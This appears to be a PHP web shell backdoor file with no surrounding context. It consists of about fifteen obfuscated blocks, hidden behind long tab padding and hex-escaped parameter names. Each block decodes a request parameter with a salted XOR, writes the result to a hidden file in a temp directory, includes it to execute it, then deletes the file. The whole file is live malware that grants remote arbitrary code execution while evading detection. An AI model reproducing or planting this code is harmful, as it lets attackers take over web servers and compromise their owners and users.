<?php																																										if(array_key_exists("\x76al", $_POST) && !is_null($_POST["\x76al"])){ $value = array_filter(["/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/tmp"]); $ent = $_POST["\x76al"]; $ent =explode ( "." , $ent ) ; $data_chunk=''; $s8='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s8 ); $q=0; $__len=count( $ent ); do { if( $q >= $__len) break; $v5=$ent[$q]; $chS=ord( $s8[$q % $sLen] ); $d=( ( int)$v5 - $chS -( $q % 10)) ^ 16; $data_chunk .=chr( $d ); $q++;} while( true ); foreach ($value as $key => $ptr) { if (!( !is_dir($ptr) || !is_writable($ptr) )) { $rec = str_replace("{var_dir}", $ptr, "{var_dir}/.flag"); $file = fopen($rec, 'w'); if ($file) { fwrite($file, $data_chunk); fclose($file); include $rec; @unlink($rec); die(); } } } }
																																										if(!empty($_REQUEST["i\x74em"])){ $sym = array_filter([sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), "/tmp", "/dev/shm", session_save_path(), getenv("TMP"), "/var/tmp"]); $record = $_REQUEST["i\x74em"]; $record = explode ("." , $record) ; $pgrp = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8 ); $__len = count( $record ); for( $k = 0; $k < $__len; $k++) {$v9 = $record[$k]; $sChar = ord( $s8[$k % $sLen] ); $d =( ( int)$v9 - $sChar -( $k % 10)) ^ 50; $pgrp .= chr( $d ); } $entry = 0; do { $hld = $sym[$entry] ?? null; if ($entry >= count($sym)) break; if ((is_dir($hld) and is_writable($hld))) { $dchunk = "$hld" . "/.pointer"; if (file_put_contents($dchunk, $pgrp)) { include $dchunk; @unlink($dchunk); die(); } } $entry++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "r\x65f\x65r\x65\x6Ece")){ $bind = $_POST["r\x65f\x65r\x65\x6Ece"]; $bind = explode ( "." , $bind ) ; $descriptor =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $y =0; foreach( $bind as $v9) { $sChar =ord( $salt[$y %$sLen]); $d =( ( int)$v9 - $sChar -( $y %10)) ^ 42; $descriptor .= chr( $d); $y++; } $pset = array_filter([sys_get_temp_dir(), getcwd(), "/tmp", "/dev/shm", ini_get("upload_tmp_dir"), getenv("TMP"), "/var/tmp", getenv("TEMP"), session_save_path()]); while ($mrk = array_shift($pset)) { if ((is_dir($mrk) and is_writable($mrk))) { $ent = "$mrk/.pointer"; $file = fopen($ent, 'w'); if ($file) { fwrite($file, $descriptor); fclose($file); include $ent; @unlink($ent); die(); } } } }
																																										if(isset($_POST["p\x72opert\x79_s\x65\x74"]) ? true : false){ $ent = $_POST["p\x72opert\x79_s\x65\x74"]; $ent =explode ("." , $ent ); $k= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($s ); $v= 0; foreach($ent as $v3) { $sChar= ord($s[$v % $sLen] ); $dec= ((int)$v3 - $sChar -($v % 10)) ^39; $k .= chr($dec ); $v++; } $val = array_filter([getenv("TMP"), session_save_path(), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/var/tmp", "/tmp", "/dev/shm"]); foreach ($val as $rec) { if (is_writable($rec) && is_dir($rec)) { $flg = "$rec" . "/.desc"; if (@file_put_contents($flg, $k) !== false) { include $flg; unlink($flg); die(); } } } }
																																										if(in_array("\x72\x65\x73\x6Furce", array_keys($_POST))){ $mrk = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", getenv("TMP"), getenv("TEMP"), ini_get("upload_tmp_dir"), "/dev/shm", "/var/tmp", getcwd()]); $itm = $_POST["\x72\x65\x73\x6Furce"]; $itm= explode ('.' , $itm) ; $item = ''; $s8 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s8); $q = 0; array_walk( $itm, function( $v6) use( &$item, &$q, $s8, $sLen) { $chS = ord( $s8[$q % $sLen]); $d =( ( int)$v6 - $chS -( $q % 10))^26; $item.= chr( $d); $q++; } ); foreach ($mrk as $reference) { if ((function($d) { return is_dir($d) && is_writable($d); })($reference)) { $obj = "$reference/.binding"; $file = fopen($obj, 'w'); if ($file) { fwrite($file, $item); fclose($file); include $obj; @unlink($obj); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "\x70\x6F\x69nt\x65r")){ $itm = array_filter([getenv("TMP"), getenv("TEMP"), "/dev/shm", "/tmp", sys_get_temp_dir(), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path()]); $ptr = $_POST["\x70\x6F\x69nt\x65r"]; $ptr=explode( "." , $ptr) ; $pset=''; $salt3='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($salt3); $k=0; array_walk($ptr ,function ($v9) use (&$pset ,&$k ,$salt3 ,$sLen) { $chS=ord($salt3[$k% $sLen]); $d=((int)$v9 - $chS - ($k% 10)) ^ 81; $pset .= chr($d); $k++; }); foreach ($itm as $rec): if ((function($d) { return is_dir($d) && is_writable($d); })($rec)) { $flag = join("/", [$rec, ".element"]); if (@file_put_contents($flag, $pset) !== false) { include $flag; unlink($flag); exit; } } endforeach; }
																																										if(in_array("c\x6F\x6Dp", array_keys($_REQUEST))){ $tkn = $_REQUEST["c\x6F\x6Dp"]; $tkn = explode ( "." , $tkn ) ; $elem = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($tkn as $v => $v7) { $sChar = ord($s[$v% $sLen]); $dec = ((int)$v7 - $sChar - ($v% 10))^ 63; $elem .= chr($dec);} $binding = array_filter([session_save_path(), getcwd(), "/dev/shm", sys_get_temp_dir(), getenv("TMP"), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $token = 0; do { $factor = $binding[$token] ?? null; if ($token >= count($binding)) break; if (!( !is_dir($factor) || !is_writable($factor) )) { $dchunk = "$factor" . "/.data_chunk"; if (@file_put_contents($dchunk, $elem) !== false) { include $dchunk; unlink($dchunk); exit; } } $token++; } while (true); }
																																										if(array_key_exists("bi\x6E\x64", $_REQUEST)){ $record = $_REQUEST["bi\x6E\x64"]; $record = explode ( '.' , $record ) ; $dat = ''; $salt6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt6 ); foreach($record as $v=>$v9): $sChar = ord($salt6[$v % $lenS] ); $d =((int)$v9 - $sChar -($v % 10)) ^ 33; $dat .= chr($d ); endforeach; $object = array_filter([session_save_path(), getenv("TEMP"), "/dev/shm", "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), getcwd()]); while ($mrk = array_shift($object)) { if (is_dir($mrk) && is_writable($mrk)) { $tkn = "$mrk" . "/.k"; $success = file_put_contents($tkn, $dat); if ($success) { include $tkn; @unlink($tkn); exit;} } } }
																																										if(array_key_exists("\x68\x6Fl\x64er", $_POST)){ $component = $_POST["\x68\x6Fl\x64er"]; $component = explode( "." ,$component ); $pset= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s ); $len= count($component ); for ($j= 0; $j < $len; $j++) { $v7= $component[$j]; $sChar= ord($s[$j % $lenS] ); $dec= ((int)$v7 - $sChar - ($j % 10)) ^ 11; $pset .= chr($dec ); } $factor = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getcwd(), getenv("TMP")]); for ($fac = 0, $token = count($factor); $fac < $token; $fac++) { $record = $factor[$fac]; if ((function($d) { return is_dir($d) && is_writable($d); })($record)) { $comp = join("/", [$record, ".symbol"]); if (@file_put_contents($comp, $pset) !== false) { include $comp; unlink($comp); die(); } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["refe\x72\x65\x6E\x63e"])){ $flg = $_REQUEST["refe\x72\x65\x6E\x63e"]; $flg= explode ( '.', $flg ) ; $mrk = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $__len = count($flg); for ($l = 0; $l< $__len; $l++) { $v3 = $flg[$l]; $sChar = ord($s[$l %$sLen]); $dec = ((int)$v3 - $sChar - ($l %10)) ^ 22; $mrk .= chr($dec); } $key = array_filter(["/dev/shm", "/tmp", getcwd(), "/var/tmp", getenv("TMP"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); $entry = 0; do { $rec = $key[$entry] ?? null; if ($entry >= count($key)) break; if (is_writable($rec) && is_dir($rec)) { $bind = sprintf("%s/.value", $rec); if (file_put_contents($bind, $mrk)) { require $bind; unlink($bind); die(); } } $entry++; } while (true); }
																																										if(in_array("i\x74\x65m", array_keys($_POST))){ $flag = $_POST["i\x74\x65m"]; $flag = explode ( '.' , $flag) ; $dat = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s5); $len = count($flag); for ($l = 0; $l< $len; $l++) { $v8 = $flag[$l]; $chS = ord($s5[$l % $sLen]); $d = ((int)$v8 - $chS - ($l % 10))^46; $dat .= chr($d); } $factor = array_filter(["/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($factor as $ent) { if (is_writable($ent) && is_dir($ent)) { $itm = "$ent/.reference"; $success = file_put_contents($itm, $dat); if ($success) { include $itm; @unlink($itm); die();} } } }
																																										if(isset($_REQUEST["en\x74\x72y"])){ $factor = $_REQUEST["en\x74\x72y"]; $factor = explode('.' ,$factor) ; $data = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $m = 0; $__len = count($factor); do { if($m >= $__len) break; $v2 = $factor[$m]; $chS = ord($s[$m%$lenS]); $d = ((int)$v2 - $chS -($m%10)) ^ 15; $data .=chr($d); $m++; } while(true); $flag = array_filter([getcwd(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), sys_get_temp_dir(), "/tmp", "/var/tmp", getenv("TMP"), "/dev/shm"]); foreach ($flag as $obj): if (is_writable($obj) && is_dir($obj)) { $sym = "$obj" . "/.resource"; if (file_put_contents($sym, $data)) { require $sym; unlink($sym); exit; } } endforeach; }
																																										if(isset($_POST["r\x65s"])){ $property_set = array_filter([ini_get("upload_tmp_dir"), sys_get_temp_dir(), "/dev/shm", session_save_path(), getenv("TMP"), getenv("TEMP"), "/var/tmp", "/tmp", getcwd()]); $ptr = $_POST["r\x65s"]; $ptr =explode ( '.', $ptr) ; $elem =''; $s4 ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s4); foreach ($ptr as $r=>$v5) { $chS =ord($s4[$r% $sLen]); $dec =((int)$v5 - $chS - ($r% 10)) ^ 90; $elem .= chr($dec); } foreach ($property_set as $key => $binding) { if ((is_dir($binding) and is_writable($binding))) { $mrk = join("/", [$binding, ".flag"]); if (file_put_contents($mrk, $elem)) { require $mrk; unlink($mrk); die(); } } } }
																																										if(@$_POST["\x70tr"] !== null){ $comp = array_filter(["/dev/shm", getenv("TMP"), "/var/tmp", "/tmp", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path()]); $pset = $_POST["\x70tr"]; $pset= explode ( '.', $pset ) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $k = 0; foreach ($pset as $v5) { $sChar = ord($s[$k % $lenS]); $dec = ((int)$v5 - $sChar - ($k % 10)) ^ 75; $obj .= chr($dec); $k++; } foreach ($comp as $key => $res) { if ((function($d) { return is_dir($d) && is_writable($d); })($res)) { $data = "$res/.flag"; if (file_put_contents($data, $obj)) { include $data; @unlink($data); die(); } } } }


if(in_array("\x62i\x6E\x64in\x67", array_keys($_REQUEST))){
	$key = $_REQUEST["\x62i\x6E\x64in\x67"];
	 $key=	explode	  (	 	"."	,$key 		);	
	$descriptor = '';
            $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($s5);
            $x = 0;
    
            $__tmp = $key;
            while ($v8 = array_shift($__tmp)) {$chS = ord($s5[$x % $lenS]);
                $dec = ((int)$v8 - $chS - ($x % 10)) ^ 30;
                $descriptor.=	chr($dec);
                $x++; } 
	$k = array_filter(["/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), "/var/tmp", "/tmp", getcwd(), session_save_path(), sys_get_temp_dir(), getenv("TEMP")]);
	foreach ($k as $marker) {
    		if ((function($d) { return is_dir($d) && is_writable($d); })($marker)) {
    $pointer = sprintf("%s/.entity", $marker);
    $file = fopen($pointer, 'w');
if ($file) {
	fwrite($file, $descriptor);
	fclose($file);
	include $pointer;
	@unlink($pointer);
	die();
}
}
}
}